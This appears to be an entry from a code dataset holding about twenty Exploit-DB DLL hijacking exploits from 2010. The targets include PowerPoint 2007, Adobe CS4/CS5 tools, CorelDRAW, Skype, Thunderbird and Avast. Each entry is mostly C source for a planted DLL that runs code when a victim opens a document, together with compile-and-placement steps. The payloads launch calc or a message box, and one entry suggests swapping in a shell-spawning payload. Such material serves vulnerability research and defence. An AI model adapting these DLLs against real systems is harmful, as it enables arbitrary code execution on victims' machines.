QLWD/code_shield huggingface dataset:
标题: Microsoft PowerPoint 2007 - 'rpawinet.dll' DLL Hijacking EDB-ID: 14782 CVE: 2010-3142 2010-3141 类型: LOCAL 平台: WINDOWS 发布日期: 2010-08-25 漏洞利用脚本: /*

Exploit Title: Microsoft Office PowerPoint 2007 DLL Hijacking Exploit (rpawinet.dll)
Date: August 25, 2010
Author: storm (storm@gonullyourself.org)
Version: 2007 (12.0.6535.5002) SP2
Tested on: Windows Vista SP2

http://www.gonullyourself.org/

gcc -shared -o rpawinet.dll PowerPoint-DLL.c

.odp, .pothtml, .potm, .potx, .ppa, .ppam, .pps, .ppt, .ppthtml, .pptm, .pptxml, .pwz, .sldm, .sldx, and .thmx files are affected.

*/

#include <windows.h>
#define DllExport __declspec (dllexport)

DllExport void HttpFilterBeginningTransaction() { hax(); }
DllExport void HttpFilterClose() { hax(); }
DllExport void HttpFilterOnBlockingOps() { hax(); }
DllExport void HttpFilterOnResponse() { hax(); }
DllExport void HttpFilterOnTransactionComplete() { hax(); }
DllExport void HttpFilterOpen() { hax(); }

int hax()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
} URL: https://www.exploit-db.com/exploits/14782
标题: Adobe Extension Manager CS5 5.0.298 - 'dwmapi.dll' DLL Hijacking EDB-ID: 14784 CVE: 2010-3154 类型: LOCAL 平台: WINDOWS 发布日期: 2010-08-25 漏洞利用脚本: /*

 Adobe Extension Manager CS5 v5.0.298 (dwmapi.dll) DLL Hijacking Exploit

 Vendor: Adobe Systems Inc.
 Product Web Page: http://www.adobe.com
 Affected Version: CS5 v5.0.298

 Summary: Easily install new extensions and manage the ones you already
 have with the Adobe Extension Manager.

 Desc: Adobe Extension Manager CS5 suffers from a dll hijacking vulnerability
 that enables the attacker to execute arbitrary code on a local level. The
 vulnerable extensions are .mxi and .mxp thru dwmapi.dll library.

 ----
 gcc -shared -o dwmapi.dll adobeem.c

 Compile and rename to dwmapi.dll, create a file test.mxi or test.mxp and
 put both files in same dir and execute.
 ----

 Tested on Microsoft Windows XP Professional SP3 (EN)



 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
 liquidworm gmail com

 Zero Science Lab - http://www.zeroscience.mk


 25.08.2010

*/


#include <windows.h>

BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{

 switch (fdwReason)
 {
  case DLL_PROCESS_ATTACH:
  dll_mll();
  case DLL_THREAD_ATTACH:
  case DLL_THREAD_DETACH:
  case DLL_PROCESS_DETACH:
  break;
 }

 return TRUE;
}

int dll_mll()
{
 MessageBox(0, "DLL Hijacked!", "DLL Message", MB_OK);
} URL: https://www.exploit-db.com/exploits/14784
标题: Adobe InDesign CS4 - 'ibfs32.dll' DLL Hijacking EDB-ID: 14775 CVE: 2010-3153 类型: LOCAL 平台: WINDOWS 发布日期: 2010-08-25 漏洞利用脚本: /* 
Exploit Title: Adobe InDesign CS4 DLL Hijacking Exploit (ibfs32.dll)
Date: August 25, 2010
Author: Glafkos Charalambous (glafkos[@]astalavista[dot]com)
Version: CS4 v6.0
Tested on: Windows 7 x64 Ultimate
Vulnerable extensions: .indl .indp .indt .inx
Greetz: Astalavista, OffSEC, Exploit-DB
*/

#include <windows.h>

BOOL WINAPI DllMain (
            HANDLE    hinstDLL,
            DWORD     fdwReason,
            LPVOID    lpvReserved)
{
    switch (fdwReason)
 {
 case DLL_PROCESS_ATTACH:
  dll_hijack();
 case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
 break;
 }
 return TRUE;
}

int dll_hijack()
{
  MessageBox(0, "Adobe DLL Hijacking!", "DLL Message", MB_OK);
} URL: https://www.exploit-db.com/exploits/14775
标题: Corel PHOTO-PAINT X3 13.0.0.576 - 'crlrib.dll' DLL Hijacking EDB-ID: 14787 CVE: 2014-8393 2010-5240 类型: LOCAL 平台: WINDOWS 发布日期: 2010-08-25 漏洞利用脚本: /*

 Corel PHOTO-PAINT X3 v13.0.0.576 (crlrib.dll) DLL Hijacking Exploit

 Vendor: Corel Corporation
 Product Web Page: http://www.corel.com
 Affected Version: X3 v13.0.0.576

 Summary: Graphic design software for striking visual communication.

 Desc: Corel PHOTO-PAINT X3 suffers from a dll hijacking vulnerability
 that enables the attacker to execute arbitrary code on a local level. The
 vulnerable extension is .cpt thru crlrib.dll library.

 ----
 gcc -shared -o crlrib.dll corelpp.c

 Compile and rename to crlrib.dll, create a file test.cpt and
 put both files in same dir and execute.
 ----

 Tested on Microsoft Windows XP Professional SP3 (EN)



 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
 liquidworm gmail com

 Zero Science Lab - http://www.zeroscience.mk


 25.08.2010

*/


#include <windows.h>

BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{

 switch (fdwReason)
 {
  case DLL_PROCESS_ATTACH:
  dll_mll();
  case DLL_THREAD_ATTACH:
  case DLL_THREAD_DETACH:
  case DLL_PROCESS_DETACH:
  break;
 }

 return TRUE;
}

int dll_mll()
{
 MessageBox(0, "DLL Hijacked!", "DLL Message", MB_OK);
} URL: https://www.exploit-db.com/exploits/14787
标题: Adobe ExtendedScript Toolkit CS5 3.5.0.52 - 'dwmapi.dll' DLL Hijacking EDB-ID: 14785 CVE: 2010-3155 类型: LOCAL 平台: WINDOWS 发布日期: 2010-08-25 漏洞利用脚本: /*

 Adobe ExtendedScript Toolkit CS5 v3.5.0.52 (dwmapi.dll) DLL Hijacking Exploit

 Vendor: Adobe Systems Inc.
 Product Web Page: http://www.adobe.com
 Affected Version: CS5 v3.5.0.52 ExtendScript 4.1.23 ScriptUI 5.1.37

 Summary: The ExtendScript Toolkit (ESTK) 3.5.0 is a scripting utility
 included with Adobe® Creative Suite CS5 and other Adobe applications.
 The ESTK is used for creating, editing, and debugging JavaScript to be
 used for scripting Adobe applications.

 Desc: Adobe ExtendScript Toolkit CS5 suffers from a dll hijacking vulnerability
 that enables the attacker to execute arbitrary code on a local level. The
 vulnerable extension is .jsx thru dwmapi.dll library.

 ----
 gcc -shared -o dwmapi.dll adobeest.c

 Compile and rename to dwmapi.dll, create a file test.jsx and put both files
 in same dir and execute.
 ----

 Tested on Microsoft Windows XP Professional SP3 (EN)



 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
 liquidworm gmail com

 Zero Science Lab - http://www.zeroscience.mk


 25.08.2010

*/


#include <windows.h>

BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{

 switch (fdwReason)
 {
  case DLL_PROCESS_ATTACH:
  dll_mll();
  case DLL_THREAD_ATTACH:
  case DLL_THREAD_DETACH:
  case DLL_PROCESS_DETACH:
  break;
 }

 return TRUE;
}

int dll_mll()
{
 MessageBox(0, "DLL Hijacked!", "DLL Message", MB_OK);
} URL: https://www.exploit-db.com/exploits/14785
标题: Adobe Illustrator CS4 - 'aires.dll' DLL Hijacking EDB-ID: 14773 CVE: 2010-3152 类型: LOCAL 平台: WINDOWS 发布日期: 2010-08-25 漏洞利用脚本: /* 
Exploit Title: Adobe Illustrator CS4 DLL Hijacking Exploit (aires.dll)
Date: August 25, 2010
Author: Glafkos Charalambous (glafkos[@]astalavista[dot]com)
Version: CS4 v14.0.0
Tested on: Windows 7 x64 Ultimate
Vulnerable extensions: .ait .eps
Greetz: Astalavista, OffSEC, Exploit-DB
Note: Create folders system\enu_us and put aires.dll
*/

#include <windows.h>

BOOL WINAPI DllMain (
            HANDLE    hinstDLL,
            DWORD     fdwReason,
            LPVOID    lpvReserved)
{
    switch (fdwReason)
 {
 case DLL_PROCESS_ATTACH:
  dll_hijack();
 case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
 break;
 }
 return TRUE;
}

int dll_hijack()
{
  MessageBox(0, "Adobe DLL Hijacking!", "DLL Message", MB_OK);
} URL: https://www.exploit-db.com/exploits/14773
标题: Adobe On Location CS4 - 'ibfs32.dll' DLL Hijacking EDB-ID: 14772 CVE: 2010-3151 类型: LOCAL 平台: WINDOWS 发布日期: 2010-08-25 漏洞利用脚本: /* 
Exploit Title: Adobe On Location CS4 DLL Hijacking Exploit (ibfs32.dll)
Date: August 25, 2010
Author: Glafkos Charalambous (glafkos[@]astalavista[dot]com)
Version: CS4 Build 315
Tested on: Windows 7 x64 Ultimate
Vulnerable extensions: .olproj
Greetz: Astalavista, OffSEC, Exploit-DB
*/


#include <windows.h>

BOOL WINAPI DllMain (
            HANDLE    hinstDLL,
            DWORD     fdwReason,
            LPVOID    lpvReserved)
{
    switch (fdwReason)
 {
 case DLL_PROCESS_ATTACH:
  dll_hijack();
 case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
 break;
 }
 return TRUE;
}

int dll_hijack()
{
  MessageBox(0, "Adobe DLL Hijacking!", "DLL Message", MB_OK);
} URL: https://www.exploit-db.com/exploits/14772
标题: Microsoft Windows Internet Communication Settings - 'schannel.dll' DLL Hijacking EDB-ID: 14780 CVE: 2010-3140 类型: LOCAL 平台: WINDOWS 发布日期: 2010-08-25 漏洞利用脚本: /*
# Exploit Title: Windows Internet Communication Settings DLL Hijacking Exploit 
(schannel.dll)
# Date: 25/08/2010
# Author: ALPdaemon
# Email: ALPdaemon (at) yahoo (dot) com
# Software Link: N/A
# Tested on: Windows XP SP3 English
# Extension: .isp
*/
#include <windows.h>

int alpdaemon()
{
  WinExec("calc", SW_SHOW);
  exit(0);
  return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
  alpdaemon();
  return 0;
} URL: https://www.exploit-db.com/exploits/14780
标题: Microsoft Windows - Contacts 'wab32res.dll' DLL Hijacking EDB-ID: 14778 CVE: 2010-3147 2010-3143 类型: LOCAL 平台: WINDOWS 发布日期: 2010-08-25 漏洞利用脚本: /*

Exploit Title: Microsoft Windows Contacts DLL Hijacking Exploit (wab32res.dll)
Date: August 25, 2010
Author: storm (storm@gonullyourself.org)
Tested on: Windows Vista SP2

http://www.gonullyourself.org/

gcc -shared -o wab32res.dll Contacts-DLL.c

.contact, .group, .p7c, .vcf, and .wab files are affected.

*/

#include <windows.h>

int hax()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
  hax();
  return 0;
} URL: https://www.exploit-db.com/exploits/14778
标题: Roxio MyDVD 9 - 'HomeUtils9.dll' DLL Hijacking EDB-ID: 14781 CVE: 2010-5195 类型: LOCAL 平台: WINDOWS 发布日期: 2010-08-25 漏洞利用脚本: /*

Exploit Title: Roxio MyDVD 9 DLL Hijacking Exploit (HomeUtils9.dll)
Date: August 25, 2010
Author: storm (storm@gonullyourself.org)
Tested on: Windows Vista SP2

http://www.gonullyourself.org/

gcc -shared -o HomeUtils9.dll MyDVD9-DLL.c

.dmsd and .dmsm files are affected.

*/

#include <windows.h>
#define DllExport __declspec (dllexport)

DllExport void Dispatch_InvokeUpdate() { hax(); }
DllExport void GetCertificateItemValue() { hax(); }
DllExport void GetFeatureEnabled() { hax(); }
DllExport void GetFeatureEnabledGroup() { hax(); }
DllExport void GetFeatureGroup() { hax(); }
DllExport void GetFeatureGroupActivationDetail() { hax(); }
DllExport void GetRoxioKeyContents() { hax(); }
DllExport void LaunchPermission() { hax(); }
DllExport void LaunchPermission_Str() { hax(); }
DllExport void SAR_Dispatch_ActivateComponent() { hax(); }
DllExport void SAR_Dispatch_ActivateProduct() { hax(); }
DllExport void SAR_Dispatch_ActivateProductGroup() { hax(); }
DllExport void SAR_Dispatch_DoRegister() { hax(); }
DllExport void SAR_Dispatch_GetActivationDetail() { hax(); }
DllExport void SAR_Dispatch_IncrementUsage() { hax(); }
DllExport void SAR_Dispatch_IsActivated() { hax(); }
DllExport void SAR_Dispatch_IsRegistered() { hax(); }
DllExport void SAR_Dispatch_ReleaseActivation() { hax(); }
DllExport void SAR_GetCDKey() { hax(); }
DllExport void SAR_UsePermissionsCache() { hax(); }
DllExport void Upgrade() { hax(); }
DllExport void UseCodecPermission() { hax(); }

int hax()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
} URL: https://www.exploit-db.com/exploits/14781
标题: Media Player Classic 6.4.9.1 - 'iacenc.dll' DLL Hijacking EDB-ID: 14788 CVE: 2010-3138 类型: LOCAL 平台: WINDOWS 发布日期: 2010-08-25 漏洞利用脚本: /*

 Media Player Classic 6.4.9.1 (iacenc.dll) DLL Hijacking Exploit

 Vendor: Gabest
 Product Web Page: http://sourceforge.net/projects/guliverkli
 Affected Version: 6.4.9.1 (revision 73)

 Summary: Media Player Classic (MPC) is a compact media player for
 32-bit Microsoft Windows. The application mimics the look and feel
 of the old, lightweight Windows Media Player 6.4 but integrates
 most options and features found in modern media players. It and
 its forks are standard media players in the K-Lite Codec Pack and
 the Combined Community Codec Pack.

 Desc: Media Player Classic suffers from a dll hijacking vulnerability
 that enables the attacker to execute arbitrary code on a local
 level. The vulnerable extensions are .mka, .ra and .ram thru iacenc.dll
 library.

 ----
 gcc -shared -o iacenc.dll mplayerc.c

 Compile and rename to iacenc.dll, create a file test.mka or any of the
 above vulnerable extensions and put both files in same dir and execute.
 ----

 Tested on Microsoft Windows XP Professional SP3 (EN)



 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
 liquidworm gmail com

 Zero Science Lab - http://www.zeroscience.mk


 25.08.2010

*/


#include <windows.h>

BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{

 switch (fdwReason)
 {
  case DLL_PROCESS_ATTACH:
  dll_mll();
  case DLL_THREAD_ATTACH:
  case DLL_THREAD_DETACH:
  case DLL_PROCESS_DETACH:
  break;
 }

 return TRUE;
}

int dll_mll()
{
 MessageBox(0, "DLL Hijacked!", "DLL Message", MB_OK);
} URL: https://www.exploit-db.com/exploits/14788
标题: CorelDRAW X3 13.0.0.576 - 'crlrib.dll' DLL Hijacking EDB-ID: 14786 CVE: 2014-8393 2010-5240 类型: LOCAL 平台: WINDOWS 发布日期: 2010-08-25 漏洞利用脚本: /*

 CorelDRAW X3 v13.0.0.576 (crlrib.dll) DLL Hijacking Exploit

 Vendor: Corel Corporation
 Product Web Page: http://www.corel.com
 Affected Version: X3 v13.0.0.576

 Summary: Graphic design software for striking visual communication.

 Desc: CorelDRAW X3 suffers from a dll hijacking vulnerability
 that enables the attacker to execute arbitrary code on a local level. The
 vulnerable extensions are .cmx and .csl thru crlrib.dll library.

 ----
 gcc -shared -o crlrib.dll coreldrw.c

 Compile and rename to crlrib.dll, create a file test.cmx or test.csl and
 put both files in same dir and execute.
 ----

 Tested on Microsoft Windows XP Professional SP3 (EN)



 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
 liquidworm gmail com

 Zero Science Lab - http://www.zeroscience.mk


 25.08.2010

*/


#include <windows.h>

BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{

 switch (fdwReason)
 {
  case DLL_PROCESS_ATTACH:
  dll_mll();
  case DLL_THREAD_ATTACH:
  case DLL_THREAD_DETACH:
  case DLL_PROCESS_DETACH:
  break;
 }

 return TRUE;
}

int dll_mll()
{
 MessageBox(0, "DLL Hijacked!", "DLL Message", MB_OK);
} URL: https://www.exploit-db.com/exploits/14786
标题: Mozilla Thunderbird - 'dwmapi.dll' DLL Hijacking EDB-ID: 14783 CVE: 2010-3131 类型: LOCAL 平台: WINDOWS 发布日期: 2010-08-25 漏洞利用脚本: /* 
Exploit Title: Mozilla Thunderbird DLL Hijacking Exploit ( dwmapi.dll )
Date: 26/08/2010
Author: h4ck3r#47 
http://twitter.com/hxteam
Version: Latest Mozilla Thunderbird 3.1.2 
Tested on: Windows XP SP3
The code is based on the exploit from "TheLeader"
Vulnerable extensions: .eml .html
*/

#include <windows.h>
#define DLLIMPORT __declspec (dllexport)

DLLIMPORT void  DwmDefWindowProc() { evil(); }
DLLIMPORT void  DwmEnableBlurBehindWindow() { evil(); }
DLLIMPORT void  DwmEnableComposition() { evil(); }
DLLIMPORT void  DwmEnableMMCSS() { evil(); }
DLLIMPORT void  DwmExtendFrameIntoClientArea() { evil(); }
DLLIMPORT void  DwmGetColorizationColor() { evil(); }
DLLIMPORT void  DwmGetCompositionTimingInfo() { evil(); }
DLLIMPORT void  DwmGetWindowAttribute() { evil(); }
DLLIMPORT void  DwmIsCompositionEnabled() { evil(); }
DLLIMPORT void  DwmModifyPreviousDxFrameDuration() { evil(); }
DLLIMPORT void  DwmQueryThumbnailSourceSize() { evil(); }
DLLIMPORT void  DwmRegisterThumbnail() { evil(); }
DLLIMPORT void  DwmSetDxFrameDuration() { evil(); }
DLLIMPORT void  DwmSetPresentParameters() { evil(); }
DLLIMPORT void  DwmSetWindowAttribute() { evil(); }
DLLIMPORT void  DwmUnregisterThumbnail() { evil(); }
DLLIMPORT void  DwmUpdateThumbnailProperties() { evil(); }

int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
} URL: https://www.exploit-db.com/exploits/14783
标题: Media Player Classic 1.3.2189.0 - 'iacenc.dll' DLL Hijacking EDB-ID: 14765 CVE: 2010-3138 类型: LOCAL 平台: WINDOWS 发布日期: 2010-08-25 漏洞利用脚本: /*
Mediaplayer Classic 1.3.2189.0 Dll Hijack Exploit
By: Encrypt3d.M!nd
Date: 25\8\2010
Download: http://mpc-hc.sourceforge.net/

Details:
Compile the following code and rename it to iacenc.dll
and place file with one of the affected types in the same directory of the dll

Affected types: m2ts, m2t, flv, hdmov, 3gpp,3gp, mpeg, mp4v, mkv, m2v,rm , ram
(i guess all file types that mpc supports are affected)

Code :(used the one from this advisory:http://www.exploit-db.com/exploits/14758/):
*/

#include <windows.h>
#define DLLIMPORT __declspec (dllexport)

DLLIMPORT void hook_startup() { evil(); }

int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}

// POC: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14765.zip (mpc-poc.zip) URL: https://www.exploit-db.com/exploits/14765
标题: Adobe Premier Pro CS4 - 'ibfs32.dll' DLL Hijacking EDB-ID: 14771 CVE: 2010-3150 类型: LOCAL 平台: WINDOWS 发布日期: 2010-08-25 漏洞利用脚本: /* 
Exploit Title: Adobe Premier Pro CS4 DLL Hijacking Exploit (ibfs32.dll)
Date: August 25, 2010
Author: Glafkos Charalambous (glafkos[@]astalavista[dot]com)
Version: CS4 v4.0.0 (314 (MC: 160820))
Tested on: Windows 7 x64 Ultimate
Vulnerable extensions: .pproj .prfpset .prexport .prm .prmp .prpreset .prproj .prsl .prtl .vpr
Greetz: Astalavista, OffSEC, Exploit-DB
*/

#include <windows.h>

BOOL WINAPI DllMain (
            HANDLE    hinstDLL,
            DWORD     fdwReason,
            LPVOID    lpvReserved)
{
    switch (fdwReason)
 {
 case DLL_PROCESS_ATTACH:
  dll_hijack();
 case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
 break;
 }
 return TRUE;
}

int dll_hijack()
{
  MessageBox(0, "Adobe DLL Hijacking!", "DLL Message", MB_OK);
} URL: https://www.exploit-db.com/exploits/14771
标题: TechSmith Snagit 10 (Build 788) - 'dwmapi.dll' DLL Hijacking EDB-ID: 14764 CVE: 2010-3130 类型: LOCAL 平台: WINDOWS 发布日期: 2010-08-25 漏洞利用脚本: /*
TechSmith Snagit 10 (Build 788) Dll Hijacking Exploit
By: Encrypt3d.M!nd
Date: 25\8\2010
Download: http://www.techsmith.com/download/snagittrial.asp

Details:
Compile the following code and rename it to dwmapi.dl
and place file with one of the affected types in the same directory of the dll

Affected types: snag , snagcc , snagprof

Code :(used the one from this advisory:http://www.exploit-db.com/exploits/14758/):
*/

#include <windows.h>
#define DLLIMPORT __declspec (dllexport)

DLLIMPORT void hook_startup() { evil(); }

int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}

// POC: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14764.zip URL: https://www.exploit-db.com/exploits/14764
标题: Microsoft Group Convertor - 'imm.dll' DLL Hijacking EDB-ID: 14758 CVE: 2010-3139 类型: LOCAL 平台: WINDOWS 发布日期: 2010-08-25 漏洞利用脚本: /*
# Greetz to :b0nd, Fbih2s,r45c4l,Charles ,j4ckh4x0r, punter,eberly, Charles, Dinesh Arora

Exploit Title: Microsoft Group Convertor DLL Hijacking (imm.dll)
Date: 25/08/2010
Author: Beenu Arora
Tested on: Windows XP SP3
Vulnerable extensions: grp

Compile and rename to imm.dll, create a file in the same dir with one of the
following extensions:
.grp
*/

#include <windows.h>
#define DLLIMPORT __declspec (dllexport)

DLLIMPORT void hook_startup() { evil(); }

int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}

// POC: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14758.zip URL: https://www.exploit-db.com/exploits/14758
标题: Microsoft Internet Connection Signup Wizard - 'smmscrpt.dll' DLL Hijacking EDB-ID: 14754 CVE: 2010-3144 类型: LOCAL 平台: WINDOWS 发布日期: 2010-08-25 漏洞利用脚本: # Greetz to :b0nd, Fbih2s,r45c4l,Charles ,j4ckh4x0r, punter,eberly, Charles , Dinesh Arora
# Site : www.BeenuArora.com

/* 
Exploit Title: Microsoft Internet Connection Signup Wizard DLL Hijacking
Date: 25/08/2010
Author: Beenu Arora
Tested on: Windows XP SP3 
Vulnerable extensions: .isp

Compile and rename to smmscrpt.dll, create a file in the same dir with one of the following extensions:
.isp


#include <windows.h>
#define DLLIMPORT __declspec (dllexport)

DLLIMPORT void hook_startup() { evil(); }

int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
} URL: https://www.exploit-db.com/exploits/14754
标题: Skype 4.2.0.169 - 'wab32.dll' DLL Hijacking EDB-ID: 14766 CVE: 2010-3136 类型: LOCAL 平台: WINDOWS 发布日期: 2010-08-25 漏洞利用脚本: /* 
Exploit Title: Skype <= 4.2.0.169 DLL Hijacking Exploit (wab32.dll)
Date: August 25, 2010
Author: Glafkos Charalambous (glafkos[@]astalavista[dot]com)
Version: Latest Skype v4.2.0.169
Tested on: Windows 7 x64 Ultimate
Vulnerable extensions: .skype
Greetz: Astalavista, OffSEC, Exploit-DB
Notes: Create folders %commonprogramfiles%\system and place wab32.dll
       %commonprogramfiles(x86)% on x64 bit
*/


#include <windows.h>
#define DllExport __declspec (dllexport)

BOOL WINAPI  DllMain (
            HANDLE    hinstDLL,
            DWORD     fdwReason,
            LPVOID    lpvReserved)
{
  dll_hijack();
  return 0;
}

int dll_hijack()
{
  MessageBox(0, "Skype DLL Hijacking!", "DLL Message", MB_OK);
  return 0;
} URL: https://www.exploit-db.com/exploits/14766
标题: Roxio Creator DE - 'HomeUtils9.dll' DLL Hijacking EDB-ID: 14768 CVE: 2010-5236 类型: LOCAL 平台: WINDOWS 发布日期: 2010-08-25 漏洞利用脚本: /*

Exploit Title: Roxio Creator DE DLL Hijacking Exploit (HomeUtils9.dll)
Date: August 25, 2010
Author: storm (storm@gonullyourself.org)
Version:  9.0.116 - Other versions are very possibly exploitable too
Tested on: Windows Vista SP2

http://www.gonullyourself.org/

gcc -shared -o HomeUtils9.dll Roxio-DLL.c

.c2d, .gi, and .roxio files are affected.

*/

#include <windows.h>
#define DllExport __declspec (dllexport)

DllExport void Dispatch_InvokeUpdate() { hax(); }
DllExport void GetCertificateItemValue() { hax(); }
DllExport void GetFeatureEnabled() { hax(); }
DllExport void GetFeatureEnabledGroup() { hax(); }
DllExport void GetFeatureGroup() { hax(); }
DllExport void GetFeatureGroupActivationDetail() { hax(); }
DllExport void GetRoxioKeyContents() { hax(); }
DllExport void LaunchPermission() { hax(); }
DllExport void LaunchPermission_Str() { hax(); }
DllExport void SAR_Dispatch_ActivateComponent() { hax(); }
DllExport void SAR_Dispatch_ActivateProduct() { hax(); }
DllExport void SAR_Dispatch_ActivateProductGroup() { hax(); }
DllExport void SAR_Dispatch_DoRegister() { hax(); }
DllExport void SAR_Dispatch_GetActivationDetail() { hax(); }
DllExport void SAR_Dispatch_IncrementUsage() { hax(); }
DllExport void SAR_Dispatch_IsActivated() { hax(); }
DllExport void SAR_Dispatch_IsRegistered() { hax(); }
DllExport void SAR_Dispatch_ReleaseActivation() { hax(); }
DllExport void SAR_GetCDKey() { hax(); }
DllExport void SAR_UsePermissionsCache() { hax(); }
DllExport void Upgrade() { hax(); }
DllExport void UseCodecPermission() { hax(); }

int hax()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
} URL: https://www.exploit-db.com/exploits/14768
标题: Avast! 5.0.594 - 'mfc90loc.dll' License Files DLL Hijacking EDB-ID: 14743 CVE: 2010-3126 类型: LOCAL 平台: WINDOWS 发布日期: 2010-08-25 漏洞利用脚本: /*
# Exploit Title: avast! license files DLL Hijacking Exploit (mfc90loc.dll)
# Date: 25/08/2010
# Author: Bruno Filipe (diwr) http://digitalacropolis.us
# Software Link: http://www.avast.com
# Version: <= 5.0.594
# Tested on: WinXP SP2, WinXP SP3
# Thx TheLeader ;)
#
----------------------------------------------------------------------------------------------------------
# This should work with avast license files (.avastlic)
# 1. gcc dllmain.c -o mfc90loc.dll
# 2. Put mfc90ptb.dll in the same directory of an avast license file (EG:
anything.avastlic)
# 3. You can generate a msfpayload DLL and spawn a shell, for example.
#
----------------------------------------------------------------------------------------------------------
*/

#include <windows.h>

int main()
{
  WinExec("calc", SW_NORMAL);
  exit(0);
  return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
  main();
  return 0;
} URL: https://www.exploit-db.com/exploits/14743